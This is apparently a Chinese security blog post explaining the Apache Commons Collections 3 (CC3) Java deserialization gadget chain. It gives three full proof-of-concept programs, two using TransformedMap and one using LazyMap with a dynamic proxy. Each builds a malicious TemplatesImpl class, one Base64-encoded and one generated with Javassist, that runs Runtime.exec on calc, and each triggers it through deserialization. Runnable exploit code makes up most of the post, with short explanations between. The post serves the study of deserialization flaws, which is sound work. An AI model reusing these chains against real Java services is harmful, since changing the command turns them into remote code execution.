JAVA安全之CommonsCollections3

CommonsCollections3

联系前面的知识

通过前面的学习,我们的CC1是利用Runtime来执行命令(使用了动态代理),CC2是使用构造恶意类(使用了动态加载字节码)来完成的。

我们可以将这两者联系起来,就是我们CC3的雏形。

想法

CC1是利用Transform方法来获取我们的Runtime.exec的,而且我们CC2后面的代码一顿操作就是为了通过InvokerTransformermap的transform方法来实现我们的newTransform()或者getOutputProperties()方法,联系到CC1我们可以通过这样的代码实现

实现

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(impl),
                new InvokerTransformer("newTransformer",null,null)
        };

这一段代码实际上就把我们的CC1和CC2联系在一起了,也就解决了上次学CC2的问题,为什么不直接获取newTransformer方法呢。

其他的代码实际上就是CC1的代码,我们组合一下就是我们自己的POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
public class cc3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl impl = new TemplatesImpl();
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAhkb20uamF2YQwABwAIBwAcDAAdAB4BAARjYWxjDAAfACABAANkb20BAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAPAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQARAAAAAgAS");

        setFieldValue(impl, "_name", "e4telle");
        setFieldValue(impl, "_bytecodes", new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(impl),
                new InvokerTransformer("newTransformer",null,null)
        };


        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap=new HashMap();
        innerMap.put("value","null");
        Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);

        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor c = cls.getDeclaredConstructor(Class.class, Map.class);
        c.setAccessible(true);
        //序列化对象
        Object o = c.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(o);
        oos.close();

        ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(in);
        Object ob = (Object) ois.readObject();

    }
 public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

这是简单的和CC1组合,看过文章的都知道,我们实际上可以使用其他的来搞定这个CC3

新的知识

这里得先引入两个类,InstantiateTransformer和TrAXFilter

InstantiateTransformer

image-20240716164654280

首先这个类我们在学CC1的时候就见过,我们这里实际注意这个transform方法就可以知道,这个里面是实现了对接收的一个参数进行反射并且会将反射的类实例化后再返回

TrAXFilter

image-20240716164644324

这个类就是实现了我们的newTransformer方法的调用,并且是TransformerImpl类型的,这个类就很合适。这个类就简化了我们反射获取InvokerTransform获取我们的的newTransformer方法。

想法与实现

这里我们的目标实际上就是去通过实例化TrAXFilter然后获得构造方法再通过InstantiateTransformer返回一个实例化好的类来实现我们的newTransformer的调用

POC

TransformedMap的POC

//
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
public class cc3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl impl = new TemplatesImpl();
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAhkb20uamF2YQwABwAIBwAcDAAdAB4BAARjYWxjDAAfACABAANkb20BAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAPAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQARAAAAAgAS");

        setFieldValue(impl, "_name", "e4telle");
        setFieldValue(impl, "_bytecodes", new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{impl})
        };


        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap=new HashMap();
        innerMap.put("value","null");
        Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);

        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor c = cls.getDeclaredConstructor(Class.class, Map.class);
        c.setAccessible(true);
        //序列化对象
        Object o = c.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(o);
        oos.close();

        ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(in);
        Object ob = (Object) ois.readObject();

    }
 public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

代码解释

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

TrAXFilter.class传给ConstantTransformer,那么就会返回TrAXFilter类,然后传给InstantiateTransformer,在InstantiateTransformer类中就会实例化TrAXFilter类,然而调用它的构造方法,进而调用newTransformer()方法,从而实现命令执行;
然后就是要找到调用ChainedTransformer.transform()的地方,才能对transformers 数组进行回调;

这里就回到我们的CC1链了,我们前面的雏形payload也就是讲得这个道理

这里将我们的transform数组替换一下,就实现了我们的CC3。

LazyMap的POC

弄清楚原理之后我们还可以试一试我们的javassit来书写我们的恶意类,再利用动态代理触发get方法,触发transform

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3 {
    public static void main(String[] args) throws Exception {

        //使用Javassit新建一个含有static的类
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        cc.writeFile();
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        //补充实例化新建类所需的条件
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "e4telle");
        setFieldValue(templates, "_class", null);

        //实例化新建类
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);

        //调用get()中的transform方法
        HashMap innermap = new HashMap();
        LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain);

        //设置代理,触发invoke()调用get()方法
        Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1);

        InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3.bin"));
            outputStream.writeObject(handler2);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3.bin"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

代码解释

        HashMap innermap = new HashMap();
        LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain);

这里是在懒加载,加载我们的transformerChain,触发我们的newTransform方法

       Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1);

        InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

这里我们是通过代理的方式去触发Invoke方法然后再去触发我们的transform方法,这里的知识点就是

我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get

但是到这儿还没完,我们的LazyMap里面是有两个参数的,我们的factory就是我们的transformerChain,装饰改过后,通过触发get方法调用transform方法。

image-20240716164628512

posted @ 2024-07-16 16:48  tammy66  阅读(21)  评论(0)    收藏  举报